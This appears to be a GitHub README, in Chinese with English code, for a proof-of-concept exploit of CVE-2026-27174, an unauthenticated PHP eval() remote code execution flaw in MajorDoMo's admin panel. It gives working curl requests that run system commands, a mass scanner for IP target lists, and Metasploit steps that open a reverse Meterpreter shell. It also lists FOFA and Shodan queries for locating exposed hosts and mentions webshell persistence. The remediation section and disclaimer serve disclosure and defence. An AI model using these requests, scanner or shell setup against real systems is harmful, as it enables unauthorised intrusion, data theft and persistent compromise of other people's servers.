MaxMnMl/majordomo-CVE-2026-27174-poc

GitHub: MaxMnMl/majordomo-CVE-2026-27174-poc

针对 MajorDoMo 平台 PHP 控制台未授权 RCE 漏洞的 PoC 工具,包含非破坏性批量扫描器和 Metasploit 集成利用模块。

Stars: 0 | Forks: 0

# majordomo-CVE-2026-27174-poc 一个利用 MajorDomo (Major Domestic Module) 管理面板中 PHP 控制台功能进行未经身份验证远程代码执行的概念验证。 # 漏洞 MajorDoMo 的管理面板通过 /admin.php 暴露了一个 PHP 执行控制台。由于 panel.class.php 中的身份验证重定向后缺少 exit 语句,AJAX 处理程序 inc_panel_ajax.php 被无条件包含——使得任何未经身份验证的 HTTP 请求都能访问其 eval() 函数。 攻击者只需发送一个 GET 请求即可执行任意 PHP 代码,无需凭证、无需事先访问权限,也无需受害者交互。 # 受影响版本 - 2026 年 2 月 18 日补丁之前的所有 MajorDomo 版本。 # 检测扫描器 `scan.py` 是一个非破坏性的多线程扫描器,用于检测存在 CVE-2026-27174 漏洞的主机,**无需执行任何有害 payload**。 ### 工作原理 扫描器对每个目标按顺序执行三个阶段: ``` Phase 1 — RCE Confirmation └─ Sends: echo 'random_marker'; └─ Checks: marker is reflected in the response body └─ Confirms: eval() is reachable without authentication Phase 2 — PHP Sandbox Profiling └─ Sends: echo 'marker:' . ini_get('disable_functions'); └─ Extracts: list of disabled PHP functions on the server Phase 3 — OS Execution Surface └─ Probes: system, exec, shell_exec, passthru via function_exists() └─ Classifies: impact level as HIGH or MEDIUM ``` 每个请求都会生成一个**随机字母数字标记**,以避免因缓存、WAF 或响应污染导致的误报。 ### 使用方法 #### 环境要求 ``` pip install requests ``` #### 1. 准备目标文件 创建一个 `targets.txt` 文件,每行包含一个 `IP:PORT`: ``` 192.168.1.10:8080 10.0.0.5:80 10.0.0.12:443 # 以 # 开头的行被忽略 # 仅接受 IP:PORT 格式 ``` #### 2. 运行扫描器 ``` python3 scan.py targets.txt ``` ### 输出 ``` [+] RCE PHP CONFIRMED -> http://192.168.1.10:8080/admin.php [-] Not vulnerable -> 10.0.0.5:80 [+] Vulnerable targets exported to results.json ``` ### `results.json` 当发现至少一个易受攻击的主机时自动生成: ``` [ { "target": "192.168.1.10:8080", "url": "http://192.168.1.10:8080/admin.php", "rce_php": true, "disable_functions": "popen,pclose,proc_open", "system_functions_available": ["system", "exec"], "impact_level": "HIGH" } ] ``` | 字段 | 描述 | |-------|-------------| | `target` | 扫描的 IP:PORT | | `url` | 确认存在 RCE 的完整 URL | | `rce_php` | PHP 代码执行确认(结果中始终为 `true`) | | `disable_functions` | 服务器的 `disable_functions` PHP 设置(如果为空则为 `null`) | | `system_functions_available` | 攻击者可调用的操作系统执行函数 | | `impact_level` | `HIGH`(可达 OS 执行)或 `MEDIUM`(仅 PHP RCE) | # 漏洞利用 根据 `result.json` 文件中的 `system_functions_available` 字段结果,我们可以使用系统函数构造 GET 请求来利用 RCE: ``` curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+exec('id'); #or curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+system('id'); uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` # 自动化 Metasploit 模块: ``` msfconsole use exploit/multi/http/majordomo_console_eval_rce set RHOSTS 192.168.1.10 set RPORT 8080 set PAYLOAD php/meterpreter/reverse_tcp set LHOST 172.17.0.1 check #Verify it returns Vulnerable run #Verify a Meterpreter session opens as www-data ``` # 在野利用 FOFA: ``` title="MajorDomoSL" ``` SHODAN: ``` http.title:"MajorDomoSL" ``` # 影响 远程未经身份验证的攻击者可以: - 在服务器上执行任意 PHP 代码 - 读取敏感文件(/etc/passwd、配置文件、凭证) - 写入 PHP webshell 以实现持久化访问 - 如果 PHP 函数 system、exec、shell_exec 或 passthru 未被禁用,则可以升级到操作系统级别的命令执行 实际影响取决于服务器的 disable_functions PHP 配置: | 场景 | 影响级别 | 描述 | |----------|-------------|-------------| | 无 `disable_functions` | **CRITICAL** | 完整的操作系统命令执行 | | 部分限制 | **HIGH** | PHP RCE + 部分 OS 执行 | | `disable_functions` 阻止所有执行 | **MEDIUM** | 仅 PHP RCE(文件读/写、数据泄露) | CVSS 4.0 - 9.3 CRITICAL — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS 3.1 - 9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H # 修复与缓解 更新到最新版本的 MajorDomo (Major Domestic Module)。 | 控制措施 | 防止 RCE | 防止 OS 执行 | |---------|:---:|:---:| | 应用 2026 年 2 月 18 日补丁 | ✅ | ✅ | | 在 `/admin.php` 上配置防火墙/IP 白名单 | ✅ | ✅ | | `disable_functions` 加固 | ❌ | ✅ | # 参考资料 https://chocapikk.com/posts/2026/majordomo-revisited https://nvd.nist.gov/vuln/detail/CVE-2026-27174 https://github.com/sergejey/majordomo/pull/1177 # 免责声明 此工具仅供授权安全测试使用。未经授权访问计算机系统是违法行为。
标签:Admin Panel, CISA项目, CVE-2026-27174, eval注入, MajorDoMo, PHP代码执行, PHP安全, PoC, RCE, Webshell, 事件响应, 利用脚本, 加密, 智能家居系统, 暴力破解, 未授权访问, 概念验证, 漏洞扫描器, 编程工具, 网络安全, 认证绕过, 远程代码执行, 逆向工具, 隐私保护, 高危漏洞